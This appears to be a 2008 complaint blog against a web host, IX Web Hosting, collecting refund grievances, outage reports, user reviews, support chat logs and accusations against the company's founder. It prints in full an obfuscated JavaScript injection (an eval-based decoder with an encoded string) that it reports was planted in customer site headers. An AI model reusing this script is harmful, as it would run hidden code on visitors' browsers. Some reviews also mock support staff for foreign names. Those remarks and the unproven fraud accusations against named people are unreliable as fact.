Posts Tagged ‘thieves’

First of all, lets break this down for the wise folks at ix web hosting that follow these rantings..

100% ….. 30 day(s) …. Money Back ….. Guarantee 

Sounds good, but is this really true??.. or are the small letters hidden in some dark corner.. Well we found someone that gave it a try, and here is the story…..

PACKAGE :  Business package incl. 2 FREE domain names

PRICE PAID: With their end-of-year special, I even got a special price ($17.27 for three months, with a year agreement)  and paid $95.40 via credit card for a year’s worth of service.

CANCELLED : on day 30 ( the last day)

( needed for 100% refund) REASON OF CANCELLATION :  I was blindly suckered in by your outrageous claims regarding the quality of your service. In the last two weeks I have experienced no less than *THREE* outages due to database issues. I’m going back — no, *RUNNING* back — to a former provider. They  provide better service, and at a better price to boot. Please terminate this account immediately. Monetarily, rape me for whatever your contract allows — I don’t care. At this point, I’d just about pay you to be done with you. Good riddance. [name witheld]

So, they refunded you the full $95.40??

hahahahahaahaa!!!

As mentioned above, IX Web Hosting’s package came with two “FREE” domains, which I promptly registered. They were stupid domain names that I’ll probably never use, but hey, they were “FREE”, right? Uh, no. Of the $95.40 I paid to IX Web Hosting, they credited me :

  • $57.45 “for unused but prepaid period of Business Plus”
  • charged me $18.21 for the first domain
  • charged me $18.21 for the second domain
  • refunded me a grand total of $21.03

WHAT!!!!  $21.03!! … but that is just 22% of $95.40

Now that is what we call DECEIVING YOUR CUSTOMERS!!!

ixmoneyback

 

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Dear Nicole **********,

We are happy to inform you that over the next two weeks we will upgrade PHP to the latest 4.x version (4.4.9) on the web server your website is currently being hosted on. This upgrade will resolve many security exploits and make services more stable.

As part of this upgrade, we will migrate from an Apache Module to a CGI based installation that gives you more control over many PHP settings. Once implemented, you will have the ability to upload your very own php.ini file into your cgi-bin folder as needed.

After the upgrade, your website may experience a few errors, all of which can be quickly resolved. Most are caused by having PHP directives inside an .htaccess file.

To fix this problem, simply login to your control panel and click on the WebShell icon. The .htaccess file will not be viewable unless you have “show hidden files” checked in your WebShell settings. Open the .htaccess file and remove any lines that start with “php_”. If you need to retain these settings, then they must now go into a php.ini file and placed into your cgi-bin folder.

If you are running PHP in any of your HTM/HTML files, please add this line to your .htaccess file:
AddHandler php-script .php .php3 .php4 .htm .html .phtml

If you have any questions or concerns about this upgrade, please do not hesitate to contact us 24/7 via live chat, ticket, or phone support and we will be glad to assist.

I hope you will enjoy the new features and increased security!

Best Regards,

Fatima Said, CCO
IX Web Hosting

For going on 10 months now ix web hosting’s servers have been under attack, both the older php4 and the new php5 are full of security issues, and have been seeded and are constantly injected with various scripts and / or the .htaccess file gets renamed and customer sites are re-directed.

MORE than 120.000 IX hosted sites are injected / .htaccess hacked on a weekly basis, an excellent oppertunity for the scum IX to make a quick buck!!

IX Web Hosting will clear up the mess that is caused by their extreme Incompetence and INSECURE SERVERS for just $80 AN HOUR!!

A few days ago I was contacted by an IX customer that hosted 5 html sites ( not a single script)  all 5 websites were injected with the Yahoo Counter Script, this was the 3rd time in one month that this had happened, each time she just  re-uploaded all her sites, but still her sites got injected. The 4th time she approached IX to help her get her sites back in order. IX charged her $160 ( 2 hours) to get her sites back to normal. 6 DAYS later all her sites were injected, but luckily the bastards at IX were willing to help her again for another $80 an hour.

It has come to my attention that a NEW wave of iFrame injections has infected 1000’s of new IX Web Host Customers, unlike the previous injection, that injected javascript into the footer of every file, this new piece of code is being injected into the “Header” of every file..

The new code looks like this:

<script language=JavaScript>function tobnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,62,45,0,25,55,44,41,2,31,0,0,0,0,0,0,3,38,33,21,20,16,19,10,42,35,13,32,24,17,4,40,46,56,53,
15,60,5,50, 47,57,48,51,0,0,0,0,26,0,49,6,29,7,12,54,34,23,28,58,11,14,36,43,27,8,59,52,39,37,30,61,1,18,22,9);for(s=Math.ceil(c/m);s>0;s–){h=”;for(i=Math.min(c,m);i>0;i–,c–){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(224^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}tobnb25(’hAOIN1QtlSztwx4tFfvam1OIUuTfN1QKCfLBlx7ZhG4gDypVdZcgbG4KJypYlbLIUfcf4FLrE@TmxlL
58IptD87fS0TRF84BUxOZzjOBS1etS0vak5_KD gOZx1LtlxpV2bptpj6mwjpBSfpVzneRCkJRLsTVdscfNbJrdWTa8@TtzxptpfJRDIJYpyLgdgptcdJrM
@TmDAzIUf2YNAQmEVLK4H2ISjLB8qJ5SsOBxbLIUjvaz@’)</script><!– yourdomain.com –>

 

Manager Kenny at IX Web Hosting  informed a customer today ( Mon 5th Jan.) that  they were testing right now and should be completed in a week or two…

ONE OR TWO WEEKS!!!.. Hey we have been waiting for 8 MONTHS!!!!  You would think that by the advice is giving all their paying customers, and blaming them for everything,  and then offering to fix the problem for $80 AN HOUR!!.. that they would know how to fix this problem, but is is clear they do not, and instead of putting more time and effort into solving this, what does IX do??… TRY AND MAKE MONEY FROM THE PROBLEM!!!… Thats correct, IX Web Hosting is offering to fix / clean customer sites for $80 an hour!!…  This is an absolute disgrace!!

To me it is clear that a large group of people know the vulnerability at IX servers, and various people are now injecting their own script, thats why we are starting to see various different scripts appearing.

KB, 30th 2008f November, 2008
I’m having the same issues… files that were owned by my account became owned by httpd and all had virus injected into them.

I have a shell script that runs a ls -l every 6 hours and compared the results from the last run 6 hours previous and it caught a mountain of changes on the morning of Nov 27th at 8:20am (their server time).

Submitted a ticket and they said my site was internally hacked. Tried to reply to the ticket and the reply buttons aren’t even working.

Submitted a new ticket to reply to the old ticket to ask how file ownerships can change like that. Awaiting a reply.

 
empusa, 21st 2008f November, 2008
When I signed up two years ago, they seemed pretty good. However, over the last tow years their service has got worse and worse. In the last week before I transferred all of my sites and my clients sites to another host, all of my sites went down for over 24 hours on three separate occasions. Every time I entered a support ticket, it took them over 10 hours to reply, only to ask for ‘further information’. They claim to be in the USA, but every reply is from an Eastern European name. Their so called ‘live support’ is a joke, each reply takes over 15 minutes and they always end up saying that I should submit a support ticket.
My sites were hacked constantly. Other users on the same server could access my files and folders even despite being chmod 755.
You get what you pay for. I’ve just moved to A2hosting. I’ll have to pay twice as much but the service is infinitely better.
 
Yunus Member, 19th 2008f November, 2008
Shit Service. Dont ever use them had a lot of problem they are stupids and idots and bloody liars
 
de P, 14th 2008f November, 2008
Since May of 2008 24 of my sites ( 3 buisness Accounts) have been mass injected, 8 sites have had the .htaccess file injected thus redirecting the sites, and 5 sites have been used a Phishing sites for among others “Wells Fargo” and Washington Mutual”.
I am not going to advise anyone if they should or should not use IX webhosting, just google “IX webhosting Hacked” and make up your own mind.
There is not a single server that is 100% safe / secure, That IX was hacked, is no big deal, it can happen to anyone, but being hacked MORE than 7 time within a year, and having a support team that are COMPLETELY useless, and for months have TRIED to blame customers for 777 permissions, I had one account with ONLY 5 html sites , NO folders, NO scripts, NO permission, and they ALL got injected.
 
Christos , 12th 2008f November, 2008
I regret the time I signed with Ixwebhosting. The site is on a regular basis down… and most of the times the initial contact is VERY VERY slow… and you receive connection interruptions all the time….. I am looking for another provider ASAP. What a waste of time and money
 
sony, 01st 2008f November, 2008
They make me crazyyyyyyyyyyy, the server is more down as up, no matter what day time I check my sites, I see just the error network timed out,The operation timed out when attempting to contact ….
The requested site did not respond to a connection request and the browser has stopped waiting for a reply. The only positive on ixwebhosting is, they are cheap, low price = low quality, so definitely not recomended for commercial/business websites, your business will not grow with ixwebhosting.
 
Bob, 28th 2008f October, 2008
Wow – wish I’d read this first. I signed up and was soooo excited by their unlimited everything and their “DotNetNuke Expertise”. Wrong. They have no tools for DNN (can’t backup & restore your DB via SQL Server Mgr. as I was told when I called BEFORE signing up) and their techs are CLUELESS about DNN — actually worse, some seem to know it exists and others don’t. The biggest reason to avoid them is I had an open ‘ticket’ for over 12 hours. I’ve read where people say to use ‘chat’ and they’re right — you get a quick response from someone (some person who I’m sure is in Ohio or somewhere in the USA but whose name is achmed zahermche or some other “wanna buy a vowel” name)l but I would rather type an explanation of a problem clearly in an email or text box than try to type in real-time with someone to whom English is a 2nd or 3rd language. If you really want to know how bad ixwebhosting is, I came over from WebHost4Life — the gold standard for BAD hosting and support and these guys are as bad or worse (for my needs). Stay away.
 
David, 23rd 2008f October, 2008
I had trouble accessing my site at least twice a week with IX. The SPAM was a serious problem. I canceled my account 6 months into the 24 months I had paid for. They refunded less than 25% of my money claiming that that their terms required that because I canceled, even for poor service, I now must pay for set-up fees and domain name registration that are FREE when you sign up. Horrible, rude, employees. MANY complaints to the BBB.

The worst thing, though, was that they disabled my account and I had to get the Attorney General for the State of Kentucky to order them to return control of my domain name to me.

 
support, 21st 2008f October, 2008
try http://www.hostmysite.com
 
Shrink, 21st 2008f October, 2008
They re-activated my account. I am backing up files now. I’ve got one more strike. If I’m hacked again, I’m gone. I’m gone anyway. Looking for another host.
 
Shrink, 21st 2008f October, 2008
I have not had many problems with IXwebhosting until yesterday. I too was hit with TOS violations because someone hacked my site and uploaded phishing files. IX will blame you for the problem. Then, without warning, they suspend my account with no access to the files for the 8 domains that I have!
 
Enrique Gutierrez, 21st 2008f October, 2008
HORRIBLE!

I was with IX Webhosting for 5 years+ and today they shut my account down due to phishing files that were placed on one of my domains; after they blamed me for the files, that I didn’t place, they proceeded to tell me that they can’t give me access to my files and data.

They’re about 20 hours away from being served legal papers for damages and theft, in addition to getting a boot crammed up their asses for being one of the worst web hosting experiences I’ve ever had to deal with in my 9 years of web dev.

IX Customers are complaining about “Retard Support”, sites are constantly down, database’s are slow to not moving, and the fact that IX Web Hosting makes promises to lure customers, and once they have signed up, the promises vanish.. And yes, I can confirm this from personal experience’s with IX.

So, what was   the big fish Fathi Said doing before IX Web Hosting?.. 

In 2003 more than 60,000 people were duped by a hosting company called ” Feature Price ” owned by… our very own Fathi Said  and  Travis Johnson.  They were based in Ft. Meyers, Florida.

Feature Price was known to be vastly profitable in 2002, reportedly racking in $1.6 million in profits. At its peak, the company had 60,000 customers serviced by 23 employees and several co-founders, of which Johnson was one and Fathi Said, an Austrian citizen, the other. Feature Price is said to have been adding about 3,000 customers per month, with churn averaging four per cent. Technical support, outsourced to a company in India, was reported to be average. 
The business started disintegrating in December 2002 when Said and Johnson had a falling out, sources say. Said left the company, reportedly returning to Austria.

Soon after, more than 60,000 customers recieved a message that they had 2 weeks to move their sites to another host..  these customers lost everything!!..

At the same periode that ” Feature Price” closed their doors on 60,000 paying customers, these same customers started recieving the following Email from Fathi Said 

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

I am emailing you in regards to your domain name deprenda.com which is or was hosted by FeaturePrice.Com. Please note that if you are satisfied with the service you currently receive from Feature Price, you should ignore this email.

For more information on how you can RETAIN three months of your pre-paid hosting term with FeaturePrice but continue hosting at a more reliable service, please read on.

First off, please allow me to introduce myself. My name is Fathi Said and I am the founder and former CEO of FeaturePrice.Com. I departed Feature Price involuntarily in December 2002 when my former partner Travis Johnson with the help of his lawyer effectively stole my company.

Since then my former partner has implemented new service policies which have negatively affected the performance of the company. At the present time, the financial situation of Feature Price and its parent company Hosting-Network, Inc. is highly critical.

If you would like to read more about Feature Price, please access this website:

ht*p://w*w.ixwebhosting.com/fp/fpinformation/

 

This email serves two purposes:

 

First and foremost you are now informed about the critical situation of your (former) hosting company and you can take corrective actions when your Feature Price will expire (without notice), so that your livelihood or at least your website will not be affected.

The second purpose of this email is to inform you of a new hosting company that I have launched:
IX Web Hosting at h*tp://w*w.ixwebhosting.com/fp/

As a special offer to Feature Price customers, IX Web Hosting is offering the SAME hosting plans that you were subscribed with at Feature Price and will provide compensation of 3 months of free hosting for your hosting term, but with more features, higher configurability and better billing terms (you can pay quarterly, semi-annual, or for discounts: annual or for 2-years).

We will CREDIT any account you open with IX Web Hosting with THREE (3) additional months of free web hosting service as a special gesture towards (former) Feature Price customers. Example: You sign-up for a “FP Mini Plan” or for a “FP Premium Plan” with IX Web Hosting. Once you have signed up, you can request a credit to be applied to your account. Within 48 hours, we will credit the value of the three free months against your balance with IX Web Hosting. Please note: This special offer is only available if you have or had an account with Feature Price. You must be a customer of IX Web Hosting to be eligible for this free service. You can receive one such credit for each account you have or had with Feature Price.
Once you have chosen one of our plans and signed up, you can request the credit to your account here:

ht*p://w*w.ixwebhosting.com/fp/fpcredit/

Click below to learn more about our plans:

ht*p://w*w.ixwebhosting.com/fp/vhost/

If you decide to host with IX Web Hosting or any other hosting company for that matter it is absolutely your choice. It is your choice as well to stay with Feature Price in case you are satisfied with the service you currently receive.
In either case, please take my email seriously you will do yourself a favor.

If you are interested in subscribing to a Feature Price Transfer Plan (FP Mini Plan, FP Budget Plan, FP Premium Plan, FP Platinum Plan) from IX Web Hosting and have the remainder of your hosting term credited to your account balance, then please go here:

h*tp://ww*.ixwebhosting.com/fp/fpplans/

If you have questions or need further information, you can contact us via the following methods:

Submit your question via our online form:

ht*p://w*w.ixwebhosting.com/fp/contactus/

Alternatively, you can also seek assistance in our 24 / 7 Live Chat:

h**p://w*w.ixwebhosting.com/fp/livechat/
The team at IX Web Hosting has created a guide on how you can change your hosting provider to any other hosting company (and what you can do in case Feature Price is holding your domain registration hostage). To retrieve this guide, please submit a request at our contact us form on our website and we will email the guide to you within 24 hours of you submitting your request.
I hope that you will be able to move on with your online venture despite the experience you have had with Feature Price and I wish you all the success you can have for yourself and for your websites future.
Thank you for reading this notice.

Yours sincerely,

——————————————————————–

Fathi Said, CEO

w*w.ixwebhosting.com

Ecommerce Corporation

——————————————————————–

Interesting isn’t it,  someone can rip off 60,000  paying customers, and within weeks start a new but exactly the same scheme

Now take a look at some customer reviews from back then… They look exactly like IX web reviews today.

http://www.webhostingreviews.com/feature.shtml

disgrace1

bigboytoyauction.com, 20th 2008f September, 2008

Yes still with IX right now all of the mysql servers are down. And if they didn’t do back ups I am kind of screwed as my last back up is on a crashed HD, i can pull it but its a pain. Here is a transcript of the chat
Kirill Skripka: Hello, my name is Kirill. How can I help you today?
you: all of my sites are down again, http://www.ckonline.net , http://www.bigboytoyauction.com , and all of the others too.
Kirill Skripka: hold on please, I’ll check
Kirill Skripka: our Mysql server is down. Our administrators are fixing it now
Kirill Skripka: it will be available again as fast as possible
Kirill Skripka: we are sorry
you: I dont want to be a pain but stuff like this is happening more often now
you: any particular reason why
you: Just saying that down time has increased since the move, never had an issue with down time until lately. I hope that the issues are resolved.
you: obviously not going to get a response
you: have a good day I will be calling IX on monday
 
Jason, 19th 2008f September, 2008
IXWebHosting were always cheap by shady, but recently their customer service has taken a terrible turn for the worse. They popped me with several TOS violations. The first was for using 30 GB of storage of their “unlimited” storage. They COMPLETELY LIE about their storage promise. The other was a supposed Spam complaint that one of their managers agreed was not a valid complaint, but they are still charging me with a SECOND TOS violation. They told me if I get a THIRD TOS violation they will terminate my account without notice, meaning I will loose all my email, etc. Talking to their support people is like talking to high school PE teachers from Siberia. It’s just completely pointless.

AVOID IXWEBHOSTING at all costs!!! They have served their purpose, which is to drive the cost of hosting down, so now go with one of the better competitors. These guys are the worst!

I moved to HostMonster who verified, in understandable, clear English, that I can use all 1.5 TB of their promised storage (I won’t use nearly that much, but it’s good to know).

 
Sam, 06th 2008f September, 2008
This hosting Company is very slow, so many problems stay away
 
elawcase@gmail.com, 03rd 2008f September, 2008
I am not sure why this website places Ixwebhosting rating so high when just about NO ONE is happy with them including myself. I have sent a few logs you can read below. These are real examples. Also their server is down quite often so anyone who can recommend a better hosting company that offers hosting unlimited domain names, pls let me know at elawcase@gmail.com
 
elawcase@gmail.com, 03rd 2008f September, 2008
Zeyad Abed: Sorry but from my side it’s ok

you: well, i’ll keep monitoring it.. but thank you for your help

you: if possible, if you can try to ask your tech people to monitor it…

you: just a moment ago, the site didn’t come up

Zeyad Abed: You are welocme

Zeyad Abed: Is there anything else I can assist you with?

you: that’s all, pls just ask the tech people to check the server.. it slowing down again

you: oh it’s okay now

you: it’s kind of unstable recently

Zeyad Abed: Sorry it’s from your connection

you: not my connection, third party monitors

you: i always check third party connections/monitors to make sure it is not my connection

you: if you can pls check alertra.com and check every few minutes.. you’ll see how much the server is varying in performance

you: the worst thing a hosting company can do is blame the client’s connection or website .. it’ just avoids the issue

you: the server now is slowing

Zeyad Abed: Sorry it’s ok

you: well, i guess..thanks for your help.. if you can pls ask the tech people. but for some reason I dont think you will do that

Zeyad Abed: Sorry im a technincal

you: what do you mean?

Zeyad Abed: I mean it’s ok from our side

 
elawcase@gmail.com, 03rd 2008f September, 2008
you: the server now is slowing

Zeyad Abed: Sorry it’s ok

you: well, i guess..thanks for your help.. if you can pls ask the tech people. but for some reason I dont think you will do that

Zeyad Abed: Sorry im a technincal

you: what do you mean?

Zeyad Abed: I mean it’s ok from our side

 
elawcase, 03rd 2008f September, 2008
Here is an example of the conversation I had with ixwebshosting when the server was really slow and stalling:

you: i need to check to make sure that the server is performing okay

Zeyad Abed: Hold on please let me check it

you: thanks

Zeyad Abed: You are welcome

you: just let me know here.. waiting..

Zeyad Abed: Ok

you: get the logs yet?

you: or you can also check alertra.com from your end…

Zeyad Abed: Just am inute please

you: ok

Zeyad Abed: alertra.com. 124 IN A 205.162.234.98

Zeyad Abed: ;; Query time: 0 msec

Zeyad Abed: flowers.com.hk. 85513 IN A 98.130.191.57

Zeyad Abed: ;; Query time: 0 msec

you: the time varies i’m checking now again

you: it’s not 0 msec

Zeyad Abed: Sorry but from my side it’s ok

you: well, i’ll keep monitoring it.. but thank you for your help

you: if possible, if you can try to ask your tech people to monitor it…

you: just a moment ago, the site didn’t come up

Zeyad Abed: You are welocme

Zeyad Abed: Is there anything else I can assist you with?

you: that’s all, pls just ask the tech people to check the server.. it slowing down again

you: oh it’s okay now

you: it’s kind of unstable recently

Zeyad Abed: Sorry it’s from your connection

you: not my connection, third party monitors

you: i always check third party connections/monitors to make sure it is not my connection

you: if you can pls check alertra.com and check every few minutes.. you’ll see how much the server is varying in performance

you: the worst thing a hosting company can do is blame the client’s connection or website .. it’ just avoids the issue

you: the server now is slowing

Zeyad Abed: Sorry it’s ok